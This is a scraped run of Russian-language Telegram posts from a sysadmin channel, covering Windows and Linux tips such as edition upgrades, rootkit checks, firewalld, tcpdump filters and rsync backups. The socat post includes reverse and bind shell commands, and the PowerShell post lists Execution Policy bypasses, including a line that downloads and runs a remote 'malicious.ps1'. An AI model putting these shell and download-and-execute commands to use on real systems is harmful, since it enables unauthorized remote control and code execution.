Windows позволяет изменить редакцию с младшей на старшую, сохранив все установленные программы, документы и настройки. Это удобно, ведь зачастую желания тратить время на переустановку операционной системы нет.
Для десктопных версий Windows (например, переход с Home на Pro) используется встроенная утилита
changepk.exe.Пример команды:
changepk.exe /ProductKey XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
XXXXX-XXXXX-XXXXX-XXXXX-XXXXX — это ключ продукта. Можете использовать ваш лицензионный ключ или универсальный ключ. Универсальный ключ обычно применяется при установке Windows, если вы выбираете пункт "Пропустить ввод ключа".
1. Откройте командную строку с правами администратора.
2. Выполните команду с вашим ключом.
3. Перезагрузите систему по запросу.
Узнать текущую редакцию:
DISM /online /Get-CurrentEdition
Посмотрить доступные редакции для апгрейда:
DISM /online /Get-TargetEditions
Выполнить апгрейд до нужной редакции:
DISM /online /Set-Edition:ServerDatacenter /ProductKey:XXXXX-XXXXX-XXXXX-XXXXX-XXXXX /AcceptEula
#utils #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16
Windows 10 и 11 по умолчанию поставляются с предустановленными UWP (Universal Windows Platform) приложениями, такими как погода, новости, карты и другие. Часто эти приложения оказываются ненужными и только занимают место. Вот как можно управлять ими через PowerShell.
Get-AppxPackage -AllUsers | Select-Object Name, PackageFullName
Get-AppxPackage *Weather* -AllUsers | Remove-AppxPackage -AllUsers
Get-AppxProvisionedPackage -Online | Where-Object { $_.PackageName -like "*Weather*" } | Remove-AppxProvisionedPackage -Online
Удаление таких приложений может привести к проблемам с работой. Чтобы вывести список системных UWP приложений, используйте команду:
Get-AppxPackage | Where-Object { $_.SignatureKind -eq "System" }
#windows
Please open Telegram to view this post
VIEW IN TELEGRAM
👍22
Rootkits - вредоносные программы, которые маскируют своё присутствие в системе. Они могут скрывать файлы, процессы и сетевые соединения, подменять команды и даже обходить антивирусные проверки.
1. Подмена системных вызовов (syscalls). Rootkits перехватывают вызовы getdents(), readdir(), ps, top, скрывая нужные процессы.
2. Изменение ядра (Kernel Mode Rootkits). Загружаются как модули ядра (.ko файлы) и модифицируют функции ядра, скрывая свою активность.
3. Хук системы /proc. Подменяют содержимое /proc/[PID], скрывая процесс от стандартных утилит.
4. Использование LD_PRELOAD. Библиотеки динамической подгрузки подменяют поведение системных команд без изменения ядра.
ls -al /proc | grep -vE "^[d-]r--r--r--"
Если процесс не виден стандартными командами (ps aux, top), но есть его директория в /proc — это подозрительно.
ps aux | wc -l && ls /proc | grep -E '^[0-9]+$' | wc -l
Числа должны совпадать. Если в /proc больше процессов, чем показывает ps, возможно, система заражена.
chkrootkit
chkrootkit | grep INFECTED
Простая проверка на известные rootkits.
rkhunter
rkhunter --check
Проверяет системные файлы на несанкционированные изменения.
lsmod | grep -i rootkit
Некоторые rootkits могут маскироваться, но подозрительные модули можно выявить через lsmod.
Использовать SELinux/AppArmor для ограничения доступа к системным ресурсам.
Регулярно проверять целостность файлов (aide, tripwire).
Зарпетить загрузку новых модулей ядра (echo 1 > /proc/sys/kernel/modules_disabled).
Следить за сетевой активностью (netstat -tulnp | grep LISTEN).
Использовать Linux-утилиты безопасности (auditd, Sysmon for Linux).
#linux #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
В Windows можно динамически изменять приоритет процессов, чтобы управлять их загрузкой CPU. Например, если какое-то приложение перегружает систему, можно снизить его приоритет, а важные задачи, наоборот, ускорить.
Get-WmiObject Win32_Process | Select-Object Name, ProcessId, Priority | Sort-Object Priority -Descending
Приоритет отображается числом:
256 - Реального времени (RealTime)
128 - Высокий (High)
32 - Выше нормального (AboveNormal)
8 - Обычный (Normal)
4 - Ниже нормального (BelowNormal)
1 - Фоновый (Idle)
(Get-Process notepad).PriorityClass = "High"
Если процессу нужно снизить нагрузку, например, до Ниже нормального (BelowNormal):
(Get-Process notepad).PriorityClass = "BelowNormal"
(Get-Process -Id 1234).PriorityClass = "AboveNormal"
$processes = Get-Process chrome -ErrorAction SilentlyContinue
if ($processes) {
$processes | ForEach-Object { $_.PriorityClass = "BelowNormal" }
}
Добавьте этот скрипт в Планировщик заданий (Task Scheduler), чтобы он запускался автоматически при старте системы.
(Get-WmiObject Win32_Process -Filter "Name='notepad.exe'").SetPriority(128)
Здесь 128 - это High, 8 - Normal, 4 - BelowNormal и т. д.
#windows #processes
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥2👎1
Firewalld - это альтернатива
iptables, используемая в большинстве дистрибутивов Linux (RHEL, CentOS, Fedora). Она предоставляет более гибкий и удобный способ управления правилами файрвола. Разберёмся, чем firewalld лучше (или хуже) iptables и как его настраивать.
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --reload
sudo firewall-cmd --permanent --remove-port=22/tcp
sudo firewall-cmd --reload
sudo firewall-cmd --permanent --add-service=ssh
sudo firewall-cmd --reload
Посмотреть список доступных сервисов можно так:
firewall-cmd --get-services
sudo firewall-cmd --permanent --zone=public --change-interface=eth0
sudo firewall-cmd --reload
Посмотреть текущую зону интерфейса:
firewall-cmd --get-active-zones
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.100" drop'
sudo firewall-cmd --reload
sudo firewall-cmd --add-port=8080/tcp --timeout=300
После истечения времени правило удалится автоматически.
iptables-save > rules.v4
iptables-restore < rules.v4
Затем вручную перенести правила в firewalld, используя firewall-cmd.
#linux #network
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10👎1
Если netcat - это "швейцарский нож" для работы с сетевыми соединениями, то socat - это полноценный "многофункциональный комбайн". Он поддерживает не только TCP и UDP, но и взаимодействие с файлами, сокетами, сериал-портами, TTY, OpenSSL, прокси и многим другим.
Сегодня про то, чем socat круче netcat и как его использовать в продвинутых сценариях.
socat TCP-LISTEN:1234,fork EXEC:/bin/cat
Подключаемся к нему с клиента:
socat - TCP:localhost:1234
Теперь всё, что вводится с клиента, будет отправляться на сервер и обратно.
socat TCP-LISTEN:8080,fork TCP:192.168.1.10:9090
Это удобно для организации локального реверс-прокси или переадресации портов.
socat TCP:192.168.1.100:4444 EXEC:/bin/bash
На атакующем сервере слушаем соединение:
socat TCP-LISTEN:4444,fork STDOUT
Теперь можно управлять удаленным сервером через shell.
socat OPENSSL-LISTEN:8443,reuseaddr,cert=server.pem,verify=0 SYSTEM:/bin/bash
Подключаемся к нему с клиента:
socat OPENSSL:192.168.1.10:8443,verify=0 STDOUT
Это полезно, когда нужно создать зашифрованный туннель без сложных VPN.
socat UNIX-LISTEN:/tmp/mysocket STDOUT
Подключаемся к нему с другого терминала:
socat - UNIX:/tmp/mysocket
Теперь можно передавать команды и файлы через сокеты.
#linux #network
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
Мониторинг изменений в файловой системе и реестре - важная часть безопасности и диагностики в Windows. PowerShell позволяет отслеживать эти изменения в реальном времени без установки стороннего ПО.
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "C:\Users\Public\Documents" # Указываем каталог для мониторинга
$watcher.IncludeSubdirectories = $true # Следить за подпапками
$watcher.EnableRaisingEvents = $true
$action = {
$event = $Event.SourceEventArgs
Write-Host "$(Get-Date) | Файл: $($event.FullPath) | Действие: $($event.ChangeType)"
}
Register-ObjectEvent $watcher "Changed" -Action $action
Register-ObjectEvent $watcher "Created" -Action $action
Register-ObjectEvent $watcher "Deleted" -Action $action
Register-ObjectEvent $watcher "Renamed" -Action $action
Write-Host "Мониторинг запущен. Для остановки нажмите Ctrl+C"
Этот скрипт отслеживает изменения, создание, удаление и переименование файлов в указанной папке.
Register-WMIEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_RegistryKey' AND TargetInstance.Name LIKE 'HKEY_LOCAL_MACHINE\\SOFTWARE\\MyApp%'" -Action {
Write-Host "$(Get-Date) | Изменение в реестре: $($Event.SourceEventArgs.NewEvent.TargetInstance.Name)"
}
Этот скрипт проверяет изменения в разделе HKEY_LOCAL_MACHINE\SOFTWARE\MyApp каждую секунду.
#windows #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19
Сканирование портов - стандартный инструмент для разведки, используемый как администраторами, так и злоумышленниками. Honeyports - это техника создания ловушек для сканеров, позволяющая выявлять потенциальные угрозы и даже блокировать их.
Honeyport - это фейковый открытый порт, который выглядит для злоумышленника как настоящая служба. Однако при попытке взаимодействия с ним можно:
nc -lvp 8080 | tee -a /var/log/honeyport.log
Теперь при подключении к порту 8080 все введенные данные будут записываться в лог.
Если добавить автоматическую блокировку через iptables:
nc -lvp 8080 | while read line; do iptables -A INPUT -s $(echo $SSH_CLIENT | awk '{print $1}') -j DROP; done
Это заблокирует IP атакующего после первой попытки взаимодействия.
$port = 3389
while ($true) {
$listener = [System.Net.Sockets.TcpListener]$port
$listener.Start()
$client = $listener.AcceptTcpClient()
$ip = $client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "Атакующий: $ip"
New-NetFirewallRule -DisplayName "Block $ip" -Direction Inbound -RemoteAddress $ip -Action Block
$listener.Stop()
}
Этот скрипт создает ловушку на 3389 порту (RDP) и автоматически блокирует.
#linux #windows #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
При анализе сетевого трафика в Linux часто используют
tcpdump, но его мощь раскрывается по-настоящему при использовании Berkeley Packet Filter (BPF). BPF позволяет фильтровать пакеты на уровне ядра, отбрасывая ненужные и снижая нагрузку на систему.BPF действует как программируемый фильтр, который определяет, какие пакеты должны быть обработаны и переданы в tcpdump. Это ускоряет анализ и снижает нагрузку на CPU.
tcpdump -i eth0 'host 192.168.1.100'
Перехватывает трафик, где участвует 192.168.1.100.
tcpdump -i eth0 'port 443'
Выводит только HTTPS-трафик.
tcpdump -i eth0 'tcp'
Отбирает только TCP-пакеты.
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'
Полезно для анализа попыток соединения.
tcpdump -i eth0 -X 'host 10.0.0.1'
Показывает содержимое пакетов в удобном виде.
tcpdump -i eth0 'tcp and port 80 and src host 192.168.1.10'
#linux #network
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
Когда нужно быстро определить, кто и где занимает больше всего места на диске, есть несколько удобных способов. Делюсь тремя вариантами, которые использую сам:
# apt install ncdu # Для Debian/Ubuntu
# yum install ncdu # Для CentOS/RHEL
# pacman -S ncdu # Для Arch Linux
Запустить можно командой
ncdu /, после чего появится интерфейс, в котором легко перемещаться по папкам. Удобно, если приходится часто мониторить дисковое пространство.
du -hs * | sort -hr | head -10
Этот однострочник покажет 10 самых "тяжелых" директорий в текущем каталоге.
Если нужно логировать результаты, можно использовать скрипт:
#!/bin/bash
echo "==================================" >> dir_size.txt
echo "Dirs size $(date +"%Y-%m-%d_%H-%M")" >> dir_size.txt
echo "==================================" >> dir_size.txt
du -hs * | sort -hr | head -10 >> dir_size.txt
Так можно отслеживать изменения занятого места во времени.
#linux #storage
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15
DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.
Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.
Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68
Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:
Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP
По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет
DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.
Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.
Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:
#network #DHCP
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.
Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:
Отключите опцию «Let Windows manage my default printer» в
Настройки → Устройства → Принтеры и сканеры.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f
Настройте параметр «Turn off Windows default printer management» в разделе:
User Configuration → Administrative Templates → Control Panel → PrintersПосле применения настроек Windows больше не будет менять принтер автоматически
#windows #printers
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1
Forwarded from Network Quiz
"Network Quiz" - канал с ежедневными квизами по сетям.
Выберите из списка публичный IP-адрес:
Выберите из списка публичный IP-адрес:
Anonymous Quiz
14%
19%
37%
30%
👍10👎10😱5❤3🔥2
rsync - это инструмент для синхронизации файлов и каталогов. Пример команды для копирования логов на удалённый сервер:
rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
-a - архивный режим (сохраняет права и атрибуты)
-v – показывает процесс копирования
-z – сжатие данных при передаче
--delete – удаляет на резервном сервере файлы, которых нет в исходной папке
ssh-keygen -t rsa
ssh-copy-id user@backup-server
rsync запускался автоматически, добавим задание в cron:
crontab -e
Пример задания для ежедневного копирования логов в 3 часа ночи:
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/ >> /var/log/backup.log 2>&1
Проверить, срабатывает ли задача, можно командой:
grep rsync /var/log/syslog
#linux #backup
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16❤3
PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.
powershell -ExecutionPolicy Bypass -File noscript.ps1
Позволяет запустить скрипт без изменения системных настроек.
Set-ExecutionPolicy Unrestricted -Scope Process
powershell -Command "Start-Process notepad.exe"
Хорошо подходит для разового выполнения команд.
IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Удобно для удалённого выполнения команд.
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted
Даёт постоянный эффект.
System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();
Подходит для внедрения в программы.
#windows #noscripts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
Как узнать, кто активно использует swap в Linux?
1️⃣ Проверка через
1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
2️⃣ Точный способ через
✏️ Bash-скрипт для проверки. Можно использовать простой скрипт, который покажет, какие процессы активно используют swap:
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
🌟 Быстрая проверка в одну команду. Если нет желания писать скрипты, можно просто выполнить:
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
🧑💻 NetworkAdmin
top. В top по умолчанию нет колонки с использованием swap, но её можно включить:1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
htop колонку со swap вовсе убрали, чтобы не вводить пользователей в заблуждение./proc. Более надёжный способ – заглянуть в файлы /proc/$PID/smaps или /proc/$PID/status:/proc/$PID/smaps – самый точный, но требует сложных вычислений/proc/$PID/status – содержит суммарное значение в поле VmSwap, удобнее для быстрого анализа
#!/bin/bash
SUM=0
OVERALL=0
for DIR in $(find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"); do
PID=$(basename $DIR)
PROGNAME=$(ps -p $PID -o comm --no-headers)
for SWAP in $(grep VmSwap $DIR/status 2>/dev/null | awk '{ print $2 }'); do
let SUM=$SUM+$SWAP
done
if (( $SUM > 0 )); then
echo "PID=$PID swapped $SUM KB ($PROGNAME)"
fi
let OVERALL=$OVERALL+$SUM
SUM=0
done
echo "Overall swap used: $OVERALL KB"
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
for file in /proc/*/status; do
awk '/VmSwap|Name/{printf $2 " " $3} END { print ""}' $file
done | sort -k 2 -n -r | less
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤4